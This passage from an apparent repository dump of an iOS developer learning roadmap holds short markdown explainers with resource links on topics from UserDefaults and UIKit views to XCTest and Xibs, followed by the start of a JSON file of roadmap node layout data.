    "content": "# User Defaults\n\nUser Defaults in iOS provides a convenient way to store small amounts of key-value data persistently across app launches. It's primarily used for saving user preferences, app settings, and other lightweight data. The `UserDefaults` class offers a standardized interface to interact with the defaults system, allowing easy storage and retrieval of basic data types like strings, numbers, dates, and even more complex objects that conform to the Codable protocol. Data stored in User Defaults is automatically persisted to disk, making it readily available in subsequent app launches. While User Defaults is easy to use and efficient for small datasets, it's not suitable for storing large amounts of data or sensitive information. It's important to use User Defaults judiciously, as overuse can impact app launch times and performance. For more complex data structures or larger datasets, other persistence mechanisms like Core Data or file-based storage are more appropriate.\n\nLearn more from the following resources:\n\n- [@official@UserDefaults](https://developer.apple.com/documentation/foundation/userdefaults)\n- [@article@Reading and Writing basics: UserDefaults](https://www.hackingwithswift.com/read/12/2/reading-and-writing-basics-userdefaults)\n- [@video@Reading and Writing basics: UserDefaults](https://www.youtube.com/watch?v=WHKLXI8baJk&t=1s)"
  },
  {
    "path": "src/data/roadmaps/ios/content/user-interactions@GKuxilB0AwjcTgCSk3FeU.md",
    "content": "# User Interactions\n\nUIKit User Interactions encompass the various ways users can engage with an iOS app's interface. This includes touch events (taps, swipes, pinches), gesture recognizers for complex interactions, and control events for UI elements like buttons and sliders. UIKit provides a robust event handling system, allowing developers to respond to user actions through target-action patterns, delegate methods, or closure-based callbacks. It also supports accessibility features, enabling interactions via VoiceOver and switch control.\n\nLearn more from the following resources:\n\n- [@official@Interactions](https://developer.apple.com/documentation/uikit/uiview/2891054-interactions)\n- [@article@How do I handle user interactions in iOS apps?](https://clouddevs.com/ios/user-interactions/)"
  },
  {
    "path": "src/data/roadmaps/ios/content/version-control@sGnDm2xuJxqfU3pwmlY7H.md",
    "content": "# Version Control\n\nVersion control is a system that tracks changes to files over time, allowing multiple developers to collaborate on projects efficiently. It enables users to review project history, revert to previous states, manage different versions, and merge changes from multiple sources. Git is the most popular version control system, offering features like branching, merging, and distributed development. Version control is essential for software development, providing backup, facilitating collaboration, and allowing experimentation without risking project stability. It helps teams maintain code quality, resolve conflicts, and streamline the development process across various platforms and projects.\n\nLearn more from the following resources:\n\n- [@article@What is version control?](https://www.atlassian.com/git/tutorials/what-is-version-control)\n- [@article@Git - About version control](https://git-scm.com/book/en/v2/Getting-Started-About-Version-Control)\n- [@video@What is version control and why you should always use it](https://www.youtube.com/watch?v=IeXhYROClZk)\n"
  },
  {
    "path": "src/data/roadmaps/ios/content/view-controllers@mfWdkUm1RhjygtMyInXiD.md",
    "content": "# View Controllers\n\nUIKit View Controllers are central to iOS app architecture, managing a view hierarchy and coordinating the flow of data between the app's data model and its views. They handle the presentation and dismissal of content, respond to user interactions, and manage the lifecycle of their associated views. Key types include `UIViewController` for basic screen management, `UINavigationController` for hierarchical navigation, `UITabBarController` for tab-based interfaces, and `UITableViewController` for table-based content. View controllers are responsible for loading and unloading views, handling device rotation, and managing memory efficiently. \n\nLearn more from the following resources:\n\n- [@official@View Controllers](https://developer.apple.com/documentation/uikit/view_controllers)\n- [@video@UIKit View Controllers](https://www.youtube.com/watch?v=WuSesaZcaMQ)"
  },
  {
    "path": "src/data/roadmaps/ios/content/view-transitions@2tmR1yE5daz2HB4IV5qwI.md",
    "content": "# View Transitions\n\nSwiftUI view transitions provide a fluid and intuitive way to animate changes in the user interface, enhancing the overall user experience. These transitions can be applied to individual views or entire view hierarchies, allowing developers to create smooth animations for appearance, disappearance, and modification of UI elements. SwiftUI offers a range of built-in transition effects, such as fade, move, and scale, which can be easily customized and combined to create more complex animations. By leveraging the `.transition()` modifier, developers can specify how views enter and exit the screen, while the `animation()` modifier controls the timing and style of these transitions.\n\nLearn more from the following resources:\n\n- [@article@How to add and remove views with a transition](https://www.hackingwithswift.com/quick-start/swiftui/how-to-add-and-remove-views-with-a-transition)\n- [@course@Animating views and transitions ](https://developer.apple.com/tutorials/swiftui/animating-views-and-transitions)"
  },
  {
    "path": "src/data/roadmaps/ios/content/view-transitions@cwVcNDTBBulBY2m4Wzn4G.md",
    "content": "# View Transitions\n\nUIKit View Transitions provide mechanisms for animating changes between different views or view states within an iOS app. These transitions can be used for presenting or dismissing view controllers, switching between views in a container, or updating the content of a single view. UIKit offers built-in transition styles like push, fade, and flip, as well as the ability to create custom transitions using animation controllers. Developers can use `UIView.transition(with:duration:options:animations:completion:)` for simple view changes or implement `UIViewControllerAnimatedTransitioning` for more complex, custom transitions between view controllers.\n\nLearn more from the following resources:\n\n- [@article@View Controller Transitions](https://developer.apple.com/documentation/uikit/animation_and_haptics/view_controller_transitions)\n- [@course@Kodeco - UIKit Transitions](https://www.kodeco.com/books/ios-animations-by-tutorials/v6.0/chapters/5-transitions)\n"
  },
  {
    "path": "src/data/roadmaps/ios/content/viewcontroller-lifecycle@DZaY060-5D6PbfryOZH9H.md",
    "content": "# ViewController Lifecycle\n\nThe ViewController lifecycle in iOS refers to the sequence of methods called as a view controller transitions between states. It begins with initialization, followed by loading the view, appearing on screen, disappearing, and potentially being deallocated. Key methods include `viewDidLoad()`, `viewWillAppear()`, `viewDidAppear()`, `viewWillDisappear()`, and `viewDidDisappear()`. Understanding this lifecycle is crucial for managing resources, updating UI, and handling state changes efficiently in iOS apps. \n\nLearn more from the following resources:\n\n- [@article@ViewController Life Cycle in iOS](https://medium.com/@knoo/viewcontroller-life-cycle-in-ios-29f7da4acfc7)\n- [@opensource@ViewController Life Cycle](https://guides.codepath.com/ios/View-Controller-Lifecycle)\n"
  },
  {
    "path": "src/data/roadmaps/ios/content/views-and-modifiers@mgUCYztUpKINqIZikT4Bh.md",
    "content": "# Views and Modifiers\n\nSwiftUI views and modifiers form the core of UI development in the framework. Views are structs conforming to the View protocol, representing visual elements of the interface. They are lightweight, value types that describe the content and layout. Modifiers are methods called on views to adjust their appearance or behavior, such as changing colors, adding padding, or attaching gestures. These modifiers return new view instances, allowing for a chain of modifications. SwiftUI uses a declarative approach where views and modifiers are composed to create complex UI elements. The system efficiently manages view updates and redraws based on state changes. Custom views can be easily created by combining existing views and modifiers, promoting code reuse and maintainability.\n\nLearn more from the following resources:\n\n- [@official@Views and modifiers: Documentation](https://developer.apple.com/documentation/swiftui/viewmodifier)\n- [@official@Apple Tutorials: Views - Using stacks to arrange views](https://developer.apple.com/tutorials/app-dev-training/using-stacks-to-arrange-views)\n- [@official@Apple Tutorials: Views - Creating a card view](https://developer.apple.com/tutorials/app-dev-training/creating-a-card-view)\n- [@official@Apple Tutorials: Views - Displaying data in a list](https://developer.apple.com/tutorials/app-dev-training/displaying-data-in-a-list)\n- [@article@Views and modifiers: Introduction](https://www.hackingwithswift.com/books/ios-swiftui/views-and-modifiers-introduction)"
  },
  {
    "path": "src/data/roadmaps/ios/content/views-view-controllers@XX5rCd_yTHvOfYif4Kpbl.md",
    "content": "# Views, View Controllers\n\nUIKit Views and View Controllers are fundamental components in iOS app development.\n\nViews (UIView) are the basic building blocks of user interfaces, representing rectangular areas that can display content and respond to user interactions. They can be customized, combined, and nested to create complex layouts. Common subclasses include UILabel, UIButton, and UIImageView.\n\nView Controllers (UIViewController) manage a set of views and coordinate the flow of data between the app's data model and the views. They handle view lifecycle, respond to user actions, and manage transitions between different parts of the user interface. View controllers are crucial for organizing app structure and maintaining separation of concerns in UIKit-based applications.\n\nLearn more from the following resources:\n\n- [@official@UIView Documentation](https://developer.apple.com/documentation/uikit/uiview)\n- [@official@UIkit View Controllers](https://developer.apple.com/documentation/uikit/view_controllers)\n- [@video@Intro to UIKit and UIViews](https://www.youtube.com/watch?v=w58ncTHKiK4)\n"
  },
  {
    "path": "src/data/roadmaps/ios/content/views@se9w7mT1XJLGlmWUhH4Uv.md",
    "content": "# Views\n\nUIKit views are the core visual elements in iOS interfaces, serving as the canvas for all user interface components. At its most basic, a view is an instance of UIView, representing a rectangular area on the screen. Views handle rendering content, laying out subviews, and responding to touch events. They can be nested to create complex layouts, with each view responsible for drawing and managing its own area. While some views display content directly, others act as containers for other views.\n\nLearn more from the following resources:\n\n- [@official@Views and Controls](https://developer.apple.com/documentation/uikit/views_and_controls)\n- [@video@Intro to UIKit and UIViews](https://www.youtube.com/watch?v=w58ncTHKiK4)\n- [@article@Performing iOS Animations On Views With UIKit And UIView](https://www.smashingmagazine.com/2019/11/performing-ios-animations-views-uikit-uiview)"
  },
  {
    "path": "src/data/roadmaps/ios/content/viper@mTdnDPGYSDupM9VBNdXRg.md",
    "content": "# VIPER\n\nVIPER (View, Interactor, Presenter, Entity, Router) is an architectural pattern for iOS applications that adheres to clean architecture principles. It breaks down app components into five distinct roles:\n\n**View**: Displays information and sends user actions to the Presenter.\n\n**Interactor**: Contains business logic and data manipulation.\n\n**Presenter**: Mediates between View and Interactor, formats data for display.\n\n**Entity**: Represents basic model objects used by the Interactor.\n\n**Router**: Handles navigation logic between modules.\n\nVIPER aims to create a clear separation of concerns, improving testability and maintainability. It's particularly useful for large, complex applications where scalability is crucial.\n\nLearn more from the following resources:\n\n- [@video@Swift: VIPER Design Pattern](https://www.youtube.com/watch?v=hFLdbWEE3_Y)\n- [@article@Understanding VIPER Architecture](https://medium.com/@pinarkocak/understanding-viper-pattern-619fa9a0b1f1)\n- [@article@Getting Started with the VIPER Architecture Pattern for iOS Application Development](https://dev.to/marwan8/getting-started-with-the-viper-architecture-pattern-for-ios-application-development-2oee)"
  },
  {
    "path": "src/data/roadmaps/ios/content/voice-over@trAMZVA4tDB7b_qAgiWNW.md",
    "content": "# Voice Over\n\nVoiceOver is an assistive technology that enables people to experience the interface on their devices without having to see the screen. People who are blind or have low vision depend on VoiceOver to provide auditory feedback while using their devices, but VoiceOver can be useful to people in a wide variety of contexts. For example, someone prone to motion sickness might choose to turn VoiceOver on while they’re in a moving vehicle.\n\nVoiceOver is a screen reader that enables people to experience an app’s interface without having to see the screen. With touch gestures on iOS and iPadOS, keyboard buttons on macOS, and remote buttons on tvOS, VoiceOver users can move through your app’s UI in reading order, from the top of the screen to the bottom, and receive descriptions in over 60 languages and locales of UI controls, text, and images audibly or in braille.\n\n\nVisit the following resources to learn more:\n\n- [@official@VoiceOver](https://developer.apple.com/documentation/accessibility/voiceover/)\n- [@official@Supporting VoiceOver in your app](https://developer.apple.com/documentation/uikit/accessibility_for_uikit/supporting_voiceover_in_your_app)\n"
  },
  {
    "path": "src/data/roadmaps/ios/content/xcframework@MaHtZSIPxDzrnB33_9OdV.md",
    "content": "# XCFramework\n\nXCFramework is an advanced packaging format introduced by Apple for distributing binary frameworks in iOS, macOS, tvOS, and watchOS development. It addresses limitations of traditional .framework bundles by supporting multiple architectures and platforms within a single package. XCFrameworks can contain binary code for different platforms and architectures, including simulators and devices, making them ideal for distributing cross-platform libraries. They simplify the integration process, eliminating the need for manual management of different framework versions for various platforms. XCFrameworks support both static and dynamic libraries and can include resources like headers, assets, and documentation. This format is particularly beneficial for library developers, as it allows them to distribute a single package that works across different Apple platforms and architectures. For app developers, XCFrameworks offer smoother integration of third-party dependencies, reducing compatibility issues and simplifying the build process in Xcode projects.\n\nLearn more from the following resources:\n\n- [@official@Creating a multiplatform binary framework bundle](https://developer.apple.com/documentation/xcode/creating-a-multi-platform-binary-framework-bundle)\n- [@official@Distributing binary frameworks as Swift packages](https://developer.apple.com/documentation/xcode/distributing-binary-frameworks-as-swift-packages)\n- [@article@Creating an XCFramework](https://rhonabwy.com/2023/02/10/creating-an-xcframework/)"
  },
  {
    "path": "src/data/roadmaps/ios/content/xcode-debugger@WxshXCloVDkVkQV0JvI1w.md",
    "content": "# Xcode Debugger\n\nThe Xcode Debugger is an essential tool for iOS developers, providing capabilities to diagnose and resolve issues within the code. It allows setting breakpoints to pause the execution at specific lines, enabling the inspection of variable states and program flow. Developers can step over, into, or out of functions to closely examine the logic. The LLDB (Low-Level Debugger) console supports powerful commands for deeper inspection and manipulation of the app’s state. The debugger also includes features like view debugging to analyze the UI hierarchy and memory graph debugging to detect memory leaks and retain cycles, making it a comprehensive tool for troubleshooting and optimizing iOS applications.\n\nLearn more from the following resources:\n\n- [@video@Debugging in Xcode](https://www.youtube.com/watch?v=ZAqnJQn7xp4)\n- [@article@Xcode Debug Console Tour: Exploring All Options](https://www.avanderlee.com/xcode/xcode-debug-console/)"
  },
  {
    "path": "src/data/roadmaps/ios/content/xcode@la5M4VoH79bhnN8qj5Izp.md",
    "content": "# Xcode\n\nXcode is Apple’s integrated development environment (IDE) for macOS, used to develop software for iOS, macOS, watchOS, and tvOS. It includes a suite of tools for designing user interfaces, writing and testing code, and debugging applications. Xcode supports multiple programming languages such as Swift and Objective-C and offers features like a source editor, version control, performance analysis, and extensive documentation, making it a comprehensive platform for developing Apple ecosystem apps.\n\nLearn more from the following resources:\n\n- [@official@Xcode Documentation](https://developer.apple.com/xcode/)\n- [@video@Xcode 15 Tutorial for Beginners (2024)](https://www.youtube.com/watch?v=8Xcq4yRQ0pU\\&pp=ygUTeGNvZGUgdHV0b3JpYWwgMjAyNA%3D%3D)\n- [@official@WWDC24: What’s new in Xcode 16](https://www.youtube.com/watch?v=BAQ9EhAm2eM)\n- [@official@WWDC24: Xcode essentials](https://www.youtube.com/watch?v=EN7-6Oj7cL0)\n- [@feed@Explore top posts about Xcode](https://app.daily.dev/tags/xcode?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/ios/content/xctest@xZmBJVq5FHNdm1BDuZbbS.md",
    "content": "# XCTest\n\nXCTest is Apple's framework for writing and running unit tests, performance tests, and UI tests in iOS, macOS, watchOS, and tvOS applications. It allows developers to create test cases and test methods to verify the correctness of their code, ensuring that individual components function as expected. XCTest supports assertions to check for expected outcomes, and it can run tests in parallel to speed up the testing process. For UI testing, XCTest provides capabilities to record user interactions and generate corresponding test scripts, which can be replayed to simulate user behavior. Additionally, XCTest integrates seamlessly with Xcode's testing infrastructure, providing detailed reports and continuous integration support to maintain code quality and performance throughout the development lifecycle.\n\nLearn more from the following resources:\n\n- [@official@XCTest](https://developer.apple.com/documentation/xctest)"
  },
  {
    "path": "src/data/roadmaps/ios/content/xcuitest@ZQSUKPbXZl5yKra2ap8JR.md",
    "content": "# XCUITest\n\nXCUITest is a robust framework within XCTest designed specifically for automated UI testing of iOS applications. It allows developers to create tests that simulate user interactions with the app's interface, ensuring that the UI behaves correctly under various conditions. Using XCUITest, developers can write tests in Swift or Objective-C to tap buttons, enter text, swipe, and perform other gestures. The framework provides a recording feature to capture user actions and generate corresponding test code, simplifying the creation of test scripts. XCUITest integrates seamlessly with Xcode, enabling easy setup, execution, and debugging of UI tests. It supports running tests on multiple devices and simulators, providing detailed logs and screenshots to help diagnose issues, thus ensuring a consistent and reliable user experience.\n\nLearn more from the following resources:\n\n- [@article@Getting Started with XCUITest](https://www.browserstack.com/guide/getting-started-xcuitest-framework)\n- [@article@Learn the Fundamentals of XCUITest Framework](https://www.headspin.io/blog/a-step-by-step-guide-to-xcuitest-framework)\n- [@article@Saucelabs - Getting Started with XCUITest](https://saucelabs.com/resources/blog/getting-started-with-xcuitest)"
  },
  {
    "path": "src/data/roadmaps/ios/content/xibs@RwvC4Pi18_1phcrJL-9iu.md",
    "content": "# Xibs\n\nUIKit Xibs (XML Interface Builder files) are resource files used to design individual view hierarchies or custom views in iOS development. Unlike Storyboards, which can represent an entire app's interface, Xibs typically focus on smaller, reusable UI components or single view controllers. They offer a visual way to create and layout UI elements, set up constraints, and configure properties without writing code. Xibs are particularly useful for creating custom table view cells, reusable views, or view controllers that need to be instantiated programmatically. \n\nLearn more from the following resources:\n\n- [@article@Building a Custom Component with XIB (iOS)](https://medium.com/@fsamuelsmartins/building-a-custom-component-with-xib-ios-f712840b651c)\n- [@article@Working with XIBs and Storyboards](https://entangleddev.com/posts/uikit/workingwithxibstoryboards/)\n- [@video@UITableView Tutorial with Custom Cells, XIB](https://www.youtube.com/watch?v=OOc-RhNQnLc)"
  },
  {
    "path": "src/data/roadmaps/ios/faqs.astro",
    "content": ""
  },
  {
    "path": "src/data/roadmaps/ios/ios.json",
    "content": "{\n  \"nodes\": [\n    {\n      \"id\": \"cNHT9S13pLinAI8snYcRj\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 55.97857612108493,\n        \"y\": 4570.871616221306\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 79,\n      \"positionAbsolute\": {\n        \"x\": 55.97857612108493,\n        \"y\": 4570.871616221306\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 79\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 79\n      }\n    },\n    {\n      \"id\": \"tBybxRQEnlt6VuyTyCJD7\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 395.87947885298604,\n        \"y\": 1984.4741149111323\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 288,\n      \"height\": 175,\n      \"style\": {\n        \"width\": 288,\n        \"height\": 175\n      },\n      \"positionAbsolute\": {\n        \"x\": 395.87947885298604,\n        \"y\": 1984.4741149111323\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 288,\n        \"height\": 175\n      }\n    },\n    {\n      \"id\": \"CFx-6pflED10ZqubRgROI\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -452.94020544189317,\n        \"y\": 235.29278944033769\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"WHITe\",\n          \"borderColor\": \"BLACk\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 234,\n      \"height\": 367,\n      \"style\": {\n        \"width\": 234,\n        \"height\": 367\n      },\n      \"positionAbsolute\": {\n        \"x\": -452.94020544189317,\n        \"y\": 235.29278944033769\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 367\n      }\n    },\n    {\n      \"id\": \"-PDYmhSQlGbLLFBJQ-Fo3\",\n      \"type\": \"title\",\n      \"position\": {\n        \"x\": -65.52142387891507,\n        \"y\": -221.8160596822612\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"iOS Developer\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 224,\n      \"height\": 68,\n      \"positionAbsolute\": {\n        \"x\": -65.52142387891507,\n        \"y\": -221.8160596822612\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 224,\n        \"height\": 68\n      }\n    },\n    {\n      \"id\": \"C9JZEtVtDFfhmw6DuHtcx\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 35.97857612108493,\n        \"y\": -331.8160596822612\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 110,\n      \"positionAbsolute\": {\n        \"x\": 35.97857612108493,\n        \"y\": -331.8160596822612\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 110\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 110\n      }\n    },\n    {\n      \"id\": \"KJ7fM-V0_azY_lzmhjJAN\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 295.84855504521215,\n        \"y\": 39.1237926752016\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Swift (Recommended)\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"IAPzuN51xvrZJ5TFB23Q9\"\n      },\n      \"zIndex\": 999,\n      \"width\": 267,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 267,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 295.84855504521215,\n        \"y\": 39.1237926752016\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"z4-1Gc95JKYAn2RPFc7hw\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 295.84855504521215,\n        \"y\": 129.94367147316427\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"History and Why Swift?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"IAPzuN51xvrZJ5TFB23Q9\"\n      },\n      \"zIndex\": 999,\n      \"width\": 267,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 267,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 295.84855504521215,\n        \"y\": 129.94367147316427\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ZkNulHQAqhiFTO3CRC_mW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 295.84855504521215,\n        \"y\": 182.73553909492603\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Benefits over Objective-C\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"fboebSmquyJyozsMRJDtK\"\n      },\n      \"zIndex\": 999,\n      \"width\": 267,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 267,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 295.84855504521215,\n        \"y\": 182.73553909492603\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"fboebSmquyJyozsMRJDtK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 295.84855504521215,\n        \"y\": 235.52740671668778\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Swift Basics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"IAPzuN51xvrZJ5TFB23Q9\"\n      },\n      \"zIndex\": 999,\n      \"width\": 267,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 267,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 295.84855504521215,\n        \"y\": 235.52740671668778\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"oOaMz9A5DZvrjxovMztXz\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 295.84855504521215,\n        \"y\": -25.00135297003726\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Objective-C\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mk02yV7_XHkgp2xdNIxaU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 267,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 267,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 295.84855504521215,\n        \"y\": -25.00135297003726\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"0BSX80W1TJ_Ia_Zh2zKyK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 295.84855504521215,\n        \"y\": -102.33318300332917\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Objective-C Basics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"aALIiAxKz4f7B_EYyhBCi\"\n      },\n      \"zIndex\": 999,\n      \"width\": 267,\n      \"height\": 52,\n      \"style\": {\n        \"width\": 267,\n        \"height\": 52\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 295.84855504521215,\n        \"y\": -102.33318300332917\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 52\n      }\n    },\n    {\n      \"id\": \"IAPzuN51xvrZJ5TFB23Q9\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 295.84855504521215,\n        \"y\": -158.8160596822612\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Interoperability with Swift\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"sEBLtbSm478D0XCSpu5mC\"\n      },\n      \"zIndex\": 999,\n      \"width\": 267,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 267,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 295.84855504521215,\n        \"y\": -158.8160596822612\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"yHmHXymPNWwu8p1vvqD3o\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 289.2253434939207,\n        \"y\": -344.984004153963\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Find the interactive version of this roadmap and other similar roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"WHITe\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 322,\n      \"height\": 141,\n      \"positionAbsolute\": {\n        \"x\": 289.2253434939207,\n        \"y\": -344.984004153963\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 322,\n        \"height\": 141\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 322,\n        \"height\": 141\n      }\n    },\n    {\n      \"id\": \"2zqZkyVgigifcRS1H7F_b\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 299.2253434939207,\n        \"y\": -265.8160596822612\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"roadmap.sh\",\n        \"href\": \"https://roadmap.sh\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#2a79e4\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 302,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 302,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 299.2253434939207,\n        \"y\": -265.8160596822612\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 302,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"IduGSdUa2Fi7VFMLKgmsS\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -444.44020544189317,\n        \"y\": 92.60823351977297\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"iOS Architecture\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mk02yV7_XHkgp2xdNIxaU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 215,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 215,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -444.44020544189317,\n        \"y\": 92.60823351977297\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 215,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"IdGdLNgJI3WmONEFsMq-d\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -444.44020544189317,\n        \"y\": -144.7145767132705\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Core OS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"5VguZoP4h40rTWkxWxaxU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 215,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -444.44020544189317,\n        \"y\": -144.7145767132705\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 215,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        